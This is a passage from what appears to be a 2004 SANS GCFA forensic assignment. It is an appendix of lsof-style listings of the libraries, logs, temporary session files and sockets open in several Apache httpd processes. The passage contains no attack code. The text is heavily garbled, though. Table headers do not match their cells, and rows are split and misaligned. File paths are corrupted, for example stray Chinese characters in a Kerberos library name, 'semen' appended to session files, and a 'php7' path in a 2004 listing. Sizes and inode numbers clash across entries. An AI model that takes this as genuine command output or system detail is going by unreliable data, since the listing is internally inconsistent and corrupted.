httpd 10609 root 31w REG 3,5 8541 229494 /usr/lib/apache/mod_actions.so
httpd 10609 root 32w REG 3,5 8770 229525 /usr/lib/apache/mod_userdir.so
httpd 10609 root 33w REG 3,5 10617 229495 /usr/lib/apache/mod_alias.so
httpd 10609 root 34w REG 3,5 53189 229520 /usr/lib/apache/mod_rewrite.so
httpd 10609 root 35w REG 3,5 10034 229493 /usr/lib/apache/mod_access.so
httpd 10609 root 36w REG 3,5 11985 229497 /usr/lib/apache/mod_auth.so
httpd 10609 root 37w REG 3,5 8486 229498 /usr/lib/apache/mod_auth_anon.so
httpd 10609 root 38w REG 3,5 9304 229499 /usr/lib/apache/mod_auth_db.so
httpd 10609 root 39w REG 3,5 9900 229508 /usr/lib/apache/modExpires.so
httpd 10609 root 40w REG 3,5 8261 229509 /usr/lib/apache/mod_headers.so
httpd 10609 root 41w REG 3,5 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 10609 root 42w REG 3,5 92407 440046
/usr/kerberos/lib/libgssapi_krb5.so.2.2
### Kevin Miller - Sans GCFA Assignment – v1.4

<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Mode</th>
<th>Flags</th>
<th>PID</th>
<th>PPID</th>
<th>Group</th>
<th>Size</th>
<th>Address</th>
<th>Command Line</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>11174</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>122952</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>210094</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1453190</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>10609</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>20666</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_TELEPHONE</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_PAPER</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Deletions:**
- /tmp/session_mm_apache0.sem
- /tmp/session_mm_apache0.so
- /tmp/session_mm_apache0.sem
- /tmp/session_mm_apache0.so

**TCP Connections:**
- TCP *:https (LISTEN)
- TCP *:http (LISTEN)
Kevin Miller - Sans GCFA Assignment – v1.4 Page 144

httpd 10610 root mem REG 3,6 265 44201 /var/log/httpd/access_log
httpd 10610 root mem REG 3,6 0 44198 /var/log/httpd/ssl_request_log
httpd 10610 root cwd DIR 3,5 1024 2 /
httpd 10610 root rtd DIR 3,5 1024 2 /
httpd 10610 root mem REG 3,2 290169 131802 /usr/sbin/httpd
httpd 10610 root mem REG 3,2 89547 63490 /lib/libd-2.2.5.so
httpd 10610 root mem REG 3,2 9883 229527 /usr/lib/apache/mod_vhost_alias.so
httpd 10610 root mem REG 3,2 8301 229506 /usr/lib/apache/mod_env.so
httpd 10610 root mem REG 3,2 17638 229514 /usr/lib/apache/mod_log_config.so
httpd 10610 root mem REG 3,2 7438 229513 /usr/lib/apache/mod_log_agent.so
httpd 10610 root mem REG 3,2 8530 229515 /usr/lib/apache/mod_log_referer.so
httpd 10610 root mem REG 3,2 8274 229505 /usr/lib/apache/mod_dir.so
httpd 10610 root mem REG 3,2 371 130311

/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION
httpd 10610 root mem REG 3,5 101902 73734 /lib/i686/libpthread-0.9.so
httpd 10610 root mem REG 3,5 173359 73732 /lib/i686/libm-2.2.5.so
httpd 10610 root mem REG 3,5 23575 63501 /lib/libcrypt
httpd 10610 root mem REG 3,2 30262 65273 /usr/lib/libgdbm.so.2.0.0
httpd 10610 root mem REG 3,2 655224 63543 /lib/libdb-3.3.so
httpd 10610 root mem REG 3,2 19662 66292 /usr/lib/libutil
httpd 10610 root mem REG 3,2 141735 65380 /usr/lib/libexpat.so.0.1.0
httpd 10610 root mem REG 3,5 12102 65103 /lib/libltdl-2.2.5.so
httpd 10610 root mem REG 3,2 14929 229516 /usr/lib/apache/mod_mime.so
httpd 10610 root mem REG 3,2 27415 229519 /usr/lib/apache/mod_negotiation.so
httpd 10610 root mem REG 3,2 18365 229523 /usr/lib/apache/mod_status.so
httpd 10610 root mem REG 3,2 19959 229512 /usr/lib/apache/mod_info.so
httpd 10610 root mem REG 3,2 35886 229511 /usr/lib/apache/mod_include.so
httpd 10610 root mem REG 3,2 27836 229501 /usr/lib/apache/mod_autoindex.so
httpd 10610 root mem REG 3,2 14940 229503 /usr/lib/apache/mod_cgi.so
httpd 10610 root mem REG 3,2 6924 229496 /usr/lib/apache/mod_asis.so
httpd 10610 root mem REG 3,2 15974 229510 /usr/lib/apache/mod_actions.so
httpd 10610 root mem REG 3,2 8541 229494 /usr/lib/apache/mod_userdir.so
httpd 10610 root mem REG 3,2 8770 229525 /usr/lib/apache/mod_userdir.so
httpd 10610 root mem REG 3,2 10617 229495 /usr/lib/apache/mod_access.so
httpd 10610 root mem REG 3,2 53189 229520 /usr/lib/apache/mod_rewrite.so
httpd 10610 root mem REG 3,2 10034 229493 /usr/lib/apache/mod_access.so
httpd 10610 root mem REG 3,2 11985 229497 /usr/lib/apache/mod_auth.so
httpd 10610 root mem REG 3,2 8486 229498 /usr/lib/apache/mod_auth_anon.so
httpd 10610 root mem REG 3,2 9304 229499 /usr/lib/apache/mod_auth_db.so
httpd 10610 root mem REG 3,2 9000 229508 /usr/lib/apache/mod_expires.so
httpd 10610 root mem REG 3,2 8261 229509 /usr/lib/apache/mod_headers.so
httpd 10610 root mem REG 3,2 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 10610 root mem REG 3,2 92407 440046

/usr/kerberos/lib/boost专访5.so.2.2
httpd 10610 root mem REG 3,5 11174 63541 /lib/libutil-2.2.5.so
httpd 10610 root mem REG 3,2 122952 229529 /usr/lib/apache/libdav.so
httpd 10610 root mem REG 3,2 210094 229531 /usr/lib/apache/libssl.so
httpd 10610 root mem REG 3,2 1453198 425001 /usr/lib/php/imap.so
httpd 10610 root mem REG 3,2 8621 440043 /usr/kerberos/lib/libcom_err.so.3.0
httpd 10610 root mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
httpd 10610 root mem REG 3,2 29 130312

/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT
httpd 10610 root mem REG 3,2 65 130316

/usr/lib/locale/en_US.iso885915/LC_TELEPHONE
httpd 10610 root mem REG 3,2 161 130310

/usr/lib/locale/en_US.iso885915/LC_ADDRESS
httpd 10610 root mem REG 3,2 83 130314

/usr/lib/locale/en_US.iso885915/LC_NAME
httpd 10610 root mem REG 3,2 40 130315

/usr/lib/locale/en_US.iso885915/LC_PAPER
httpd 10610 root mem REG 3,2 58 179360

/usr/lib/locale/en_US.iso885915/LC_MESSAGES_SYS_MESSAGES
httpd 10610 root mem REG 3,2 292 130313

/usr/lib/locale/en_US.iso885915/LC_MONETARY
httpd 10610 root mem REG 3,2 22592 130323

/usr/lib/locale/en_US.iso885915/LC_COLLATE
httpd 10610 root mem REG 3,5 89424 63507 /lib/libnsl-2.2.5.so
httpd 10610 root mem REG 3,2 156101 229551 /usr/lib/apache/libphp4.so
httpd 10610 root mem REG 3,5 35340 63567 /lib/libpam.so.0.75
httpd 10610 root mem REG 3,2 28138 66033 /usr/lib/libstdc++.so.3.1.0
httpd 10610 root mem REG 3,2 5300 66039 /usr/lib/libspelling-modules.so.1.0.1
Kevin Miller - Sans GCFA Assignment – v1.4

httpd 10610 root mem REG 3,2 2426442 623904 /usr/lib/libstdc++-3-3 libc6.2.2-2.10.0.so
httpd 10610 root mem REG 3,2 131560 62396 229530 /usr/lib/apache/libperl.so
httpd 10610 root mem REG 3,2 59778 62358 /usr/lib/libpng.so.2.4.so
httpd 10610 root mem REG 3,2 146819 62360 /usr/lib/libxml2.so.2.4.0.3
httpd 10610 root mem REG 3,2 924879 62356 /lib/libcrypto.so.0.9.6b
httpd 10610 root mem REG 3,2 207008 62356 /lib/libssl.so.0.9.6b
httpd 10610 root mem REG 3,2 68925 62355 /lib/libresolv-2.2.5.so
httpd 10610 root mem REG 3,2 153026 62362 /lib/libnsspell.so.4.0.3
httpd 10610 root mem REG 3,2 290511 62351 /lib/libncurses.so.5.2
httpd 10610 root mem REG 3,2 215482 62350 /lib/libmpg.so.so.3.2.1
httpd 10610 root mem REG 3,2 196866 62357 /lib/libgd.so.1.8.4
httpd 10610 root mem REG 3,2 717774 62341 /lib/libxml2.so.so.2.4.19
httpd 10610 root mem REG 3,2 66646 62356 /lib/libbz2.so.1.0
httpd 10610 root mem REG 3,2 189626 62350 /lib/libttf.so.so.2.3.0
httpd 10610 root mem REG 3,2 259533 62350 /lib/libfreeetype.so.so.6.3.0
httpd 10610 root mem REG 3,2 140418 62357 /lib/libjpeg.so.so.62.0.0
httpd 10610 root mem REG 3,2 79725 6240048 /lib/lib5c.so.0
httpd 10610 root mem REG 3,2 242649 6245002 /lib/php/ldap.so
httpd 10610 root mem REG 3,2 44992 62350 /lib/libxml2.so.so.2.2.5.so
httpd 10610 root mem REG 3,2 45415 62350 /lib/libxml2.so.so.2.2.5.so
httpd 10610 root mem REG 3,2 2457 62350 /lib/libxml2.so.so.2.2.5.so
httpd 10610 root mem REG 3,2 1264225 622953 /usr/lib/apache/libperl.so
httpd 10610 root mem REG 3,2 427611 6240053 /lib/ld.so.2
httpd 10610 root mem REG 3,2 191615 62351 /lib/libxml2.so.so.2.0.15
httpd 10610 root mem REG 3,2 48583 62351 /lib/libxml2.so.so.2.0.15
httpd 10610 root mem REG 3,2 46119 62357 /lib/libnss_files.so.so.2.2.5.so
httpd 10610 root mem REG 3,2 1401027 62350 /lib/libxml2.so.so.2.2.5.so
httpd 10610 root mem REG 1,3 9637 /dev/null
httpd 10610 root mem REG 1,3 9637 /dev/null
httpd 10610 root mem REG 3,6 1729 624200 /var/log/httpd/error_log
httpd 10610 root mem REG 3,6 0 623813 /var/run/tpd/mm.8124
httpd 10610 root mem REG 3,5 0 626691 /tmp/session_mm_apache0 semen
httpd 10610 root mem REG 3,5 0 626691 /tmp/session_mm_apseb0 semen
httpd 10610 root mem REG 3,6 8192 626693 /tmp/session_mm_apache0 semen
httpd 10610 root mem REG 3,6 1729 624200 /var/log/httpd/error_log
httpd 10610 root 16u IPv4 361623 62361 /var/log/httpd/access_log
httpd 10610 root 16u IPv4 361624 62361 /var/log/httpd/access_log
httpd 10610 root 19w REG 3,6 265 624421 /var/log/httpd/access_log
httpd 10610 root 19w REG 3,6 0 624419 /var/log/fsi_request_log
httpd 10611 root cwd DIR 3,5 1024 6242 / 
httpd 10611 root rtd DIR 3,5 1024 / 
httpd 10611 root mem REG 3,2 290169 613802 /usr/sbin/httpd
httpd 10611 root mem REG 3,2 89547 613802 /usr/sbin/httpd
httpd 10611 root mem REG 3,2 9883 622957 /usr/lib/apache/mod_vhost_alias.so
httpd 10611 root mem REG 3,2 8301 622956 /usr/lib/apache/mod_env.so
httpd 10611 root mem REG 3,2 17638 622954 /usr/lib/apache/mod_log_config.so
httpd 10611 root mem REG 3,2 7438 622953 /usr/lib/apache/mod_log_agent.so
httpd 10611 root mem REG 3,2 8530 622953 /usr/lib/apache/mod_log referer.so
httpd 10611 root mem REG 3,2 8274 622950 /usr/lib/apache/mod_dir.so
httpd 10611 root mem REG 3,2 371 623011 /usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION
httpd 10611 root mem REG 3,5 101902 623734 /lib/id/2.2.5.so
httpd 10611 root mem REG 3,5 173359 623732 /lib/id/2.2.5.so
httpd 10611 root mem REG 3,5 23575 62358 /lib/ld64.so.2.2.5.so
httpd 10611 root mem REG 3,2 30282 62360 /lib/libxml2.so.so.2.4.19
httpd 10611 root mem REG 3,2 655224 62351 /lib/libxml2.so.so.2.4.19
httpd 10611 root mem REG 3,2 19662 62350 /lib/libxml2.so.so.2.4.19
httpd 10611 root mem REG 3,2 141735 62350 /lib/libxml2.so.so.2.4.19
httpd 10611 root mem REG 3,2 12102 62350 /lib/libxml2.so.so.2.4.19
httpd 10611 root mem REG 3,2 14929 62350 /lib/libxml2.so.so.2.4.19
httpd 10611 root mem REG 3,2 27415 62350 /lib/libxml2.so.so.2.4.19
httpd 10611 root mem REG 3,2 18365 62350 /lib/libxml2.so.so.2.4.19
httpd 10611 root mem REG 3,2 19959 62350 /lib/libxml2.so.so.2.4.19
httpd 10611 root mem REG 3,2 35886 62350 /lib/libxml2.so.so.2.4.19

© SANS Institute 2004
As part of GIAC practical repository. Author retains full rights.
httpd 10611 root mem REG 3,2 27836 229501 /usr/lib/apache/mod_autoindex.so
httpd 10611 root mem REG 3,2 14940 229503 /usr/lib/apache/mod_cgi.so
httpd 10611 root mem REG 3,2 6924 229496 /usr/lib/apache/mod_asis.so
httpd 10611 root mem REG 3,2 15974 229510 /usr/lib/apache/mod_imap.so
httpd 10611 root mem REG 3,2 53189 229520 /usr/lib/apache/mod_rewrite.so
httpd 10611 root mem REG 3,2 10034 229493 /usr/lib/apache/mod_access.so
httpd 10611 root mem REG 3,2 10617 229495 /usr/lib/apache/mod_alias.so
httpd 10611 root mem REG 3,2 8486 229498 /usr/lib/apache/mod_auth_anon.so
httpd 10611 root mem REG 3,2 9304 229499 /usr/lib/apache/mod_auth_db.so
httpd 10611 root mem REG 3,2 8261 229509 /usr/lib/apache/mod_headers.so
httpd 10611 root mem REG 3,2 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 10611 root mem REG 3,2 122952 229529 /usr/lib/apache/libdav.so
httpd 10611 root mem REG 3,2 210094 229531 /usr/lib/apache/libssl.so
httpd 10611 root mem REG 3,2 1453198 425001 /usr/lib/php4/imap.so
httpd 10611 root mem REG 3,2 11985 229497 /usr/lib/apache/mod_auth.so
httpd 10611 root mem REG 3,2 92407 440046 /usr/kerberos/lib/libgssapi_krb5.so.2.2
httpd 10611 root mem REG 3,5 11174 63541 /lib/libutil-2.2.5.so
httpd 10611 root mem REG 3,2 1561021 229551 /usr/lib/apache/libphp4.so
httpd 10611 root mem REG 3,2 28138 66033 /usr/lib/libltdl.so.3.1.0
httpd 10611 root mem REG 3,2 5300 66039 /usr/lib/libpspell-modules.so.1.0.1
httpd 10611 root mem REG 3,2 426442 65304 /usr/lib/libstdc++-3-2.10.0.so
httpd 10611 root mem REG 3,2 131560 65396 /usr/lib/libpng.so.2.1.0.12
httpd 10611 root mem REG 3,2 89424 63507 /lib/libnsl-2.2.5.so
httpd 10611 root mem REG 3,2 1561021 229551 /usr/lib/apache/libphp4.so
httpd 10611 root mem REG 3,2 35340 63567 /lib/libpam.so.0.75
httpd 10611 root mem REG 3,2 45415 65358 /lib/libcurl.so.4.0.3
httpd 10611 root mem REG 3,2 205011 65311 /lib/libncurses.so.5.2
httpd 10611 root mem REG 3,2 924879 63562 /lib/libcrypto.so.0.9.6b
httpd 10611 root mem REG 3,2 215482 65386 /lib/libgmp.so.3.2.1
httpd 10611 root mem REG 3,2 196866 66287 /lib/libgsl.so.1.8.4

<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Flags</th>
<th>PID</th>
<th>PPID</th>
<th>Start time</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>10611</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>173680</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>10611</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1264225</td>
</tr>
<tr>
<td>/usr/lib/apache/libperl.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>10611</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>427611</td>
</tr>
<tr>
<td>/lib/kerberos/lib/kdb5.so.3.1</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>10611</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>191615</td>
</tr>
<tr>
<td>/usr/lib/apache/libldap.so.2.0.15</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>10611</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>48583</td>
</tr>
<tr>
<td>/usr/lib/libasl.so.7.1.8</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>10611</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>46117</td>
</tr>
<tr>
<td>/lib/libnss_nisplus-2.2.5.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>10611</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1401027</td>
</tr>
<tr>
<td>/lib/lib686/libc-2.2.5.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>10611</td>
<td>root</td>
<td>0r</td>
<td>CHR</td>
<td>1,3</td>
<td>9637</td>
</tr>
<tr>
<td>httpd</td>
<td>10611</td>
<td>root</td>
<td>1w</td>
<td>CHR</td>
<td>1,3</td>
<td>9637</td>
</tr>
<tr>
<td>httpd</td>
<td>10611</td>
<td>root</td>
<td>2w</td>
<td>REG</td>
<td>3,6</td>
<td>1729</td>
</tr>
<tr>
<td>/var/log/httpd/error_log</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>10611</td>
<td>root</td>
<td>3u</td>
<td>REG</td>
<td>3,6</td>
<td>0</td>
</tr>
<tr>
<td>/var/run/httpd.mm.8124.sem</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>(deleted)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>10611</td>
<td>root</td>
<td>5u</td>
<td>REG</td>
<td>3,5</td>
<td>8192</td>
</tr>
<tr>
<td>/tmp/session_mm_apache0.sem</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>10611</td>
<td>root</td>
<td>15w</td>
<td>REG</td>
<td>3,5</td>
<td>1729</td>
</tr>
<tr>
<td>/var/log/httpd/error_log</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>10611</td>
<td>root</td>
<td>19w</td>
<td>IPv4</td>
<td>361623</td>
<td>TCP</td>
</tr>
<tr>
<td>httpd</td>
<td>10611</td>
<td>root</td>
<td>20w</td>
<td>IPv4</td>
<td>361624</td>
<td>TCP</td>
</tr>
<tr>
<td>httpd</td>
<td>10611</td>
<td>root</td>
<td>18w</td>
<td>REG</td>
<td>3,6</td>
<td>265</td>
</tr>
<tr>
<td>/var/log/httpd/access_log</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>10612</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
</tr>
<tr>
<td>httpd</td>
<td>10611</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
</tr>
<tr>
<td>httpd</td>
<td>10612</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3,2</td>
<td>290169</td>
</tr>
<tr>
<td>/usr/sbin/httpd</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>10612</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>89547</td>
</tr>
<tr>
<td>/lib/id-2.2.5.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>10612</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9883</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_vhost_alias.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>10612</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8301</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_env.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>10612</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>17638</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_log_config.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>10612</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>7438</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_log_agent.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>10612</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8530</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_log_referer.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>10612</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8274</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_dir.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>10612</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>371</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>10612</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>101902</td>
</tr>
<tr>
<td>/lib/id/1666/libc-2.2.5.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>10612</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>173359</td>
</tr>
<tr>
<td>/lib/id/1666/libm</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>10611</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>30282</td>
</tr>
<tr>
<td>/usr/lib/gconv/gconv-modules.cache</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>10611</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>19662</td>
</tr>
<tr>
<td>/usr/lib/libmm.so.11.0.23</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>10611</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>191615</td>
</tr>
<tr>
<td>/usr/lib/libnss_nisplus-2.2.5.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>10611</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1264225</td>
</tr>
<tr>
<td>/usr/lib/libperl.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>10611</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>173680</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
### Content

<table>
<thead>
<tr>
<th>PID</th>
<th>Username</th>
<th>Flags</th>
<th>Mode</th>
<th>Command</th>
<th>Path</th>
<th>Status</th>
<th>Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>10612</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>65</td>
<td>130316</td>
<td>httpd</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/locale/en_US.iso885915/LC_TELEPHONE</td>
</tr>
<tr>
<td>10612</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>161</td>
<td>130310</td>
<td>httpd</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
</tr>
<tr>
<td>10612</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>83</td>
<td>130314</td>
<td>httpd</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
</tr>
<tr>
<td>10612</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>40</td>
<td>130315</td>
<td>httpd</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/locale/en_US.iso885915/LC_PAPER</td>
</tr>
<tr>
<td>10612</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>58</td>
<td>179360</td>
<td>httpd</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES</td>
</tr>
<tr>
<td>10612</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>2292</td>
<td>130313</td>
<td>httpd</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
</tr>
</tbody>
</table>

### Additional Information

- **Key fingerprint**: AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
- **Repository**: As part of GIAC practical repository
- **Rights**: Author retains full rights

---

Kevin Miller  
Sans GCFA Assignment – v1.4  
Page 148
Kevin Miller - Sans GCF Assignment - v1.4

httpd 10613 root mem REG 3,2 153026 66042 /usr/lib/libpspell.so.4.0.3
httpd 10613 root mem REG 3,2 290511 65311 /usr/lib/libiconv.so.5.2
httpd 10613 root mem REG 3,2 215482 65386 /usr/lib/libgmp.so.3.2.1
httpd 10613 root mem REG 3,2 196866 66287 /usr/lib/libgd.so.1.8.4
httpd 10613 root mem REG 3,2 717774 65410 /usr/lib/libxml2.so.2.4.19
httpd 10613 root mem REG 3,2 66646 65263 /usr/lib/libbzo2.so.1.0.2
httpd 10613 root mem REG 3,2 189626 65384 /usr/lib/libtiff.so.2.3.0
httpd 10613 root mem REG 3,2 295833 65382 /usr/lib/libfreetype.so.6.3.0
httpd 10613 root mem REG 3,2 140418 65389 /usr/lib/libjpeg.so.62.0.0
httpd 10613 root mem REG 3,2 79725 440048
/usr/lib/ld...-
httpd 10613 root mem REG 3,2 42069 425002 /usr/lib/php7/ldap.so
httpd 10613 root mem REG 3,2 44992 65349 /usr/lib/libber.so.2.0.15
httpd 10613 root mem REG 3,5 45415 65253 /lib/libnss_files-2.2.5.so
httpd 10613 root mem REG 3,2 2457 130317
/usr/lib/locale/en_US.iso885915/LC_TIME
httpd 10613 root mem REG 3,2 60 130322
/usr/lib/locale/en_US.iso885915/LC_NUMERIC
httpd 10613 root mem REG 3,2 173680 130324
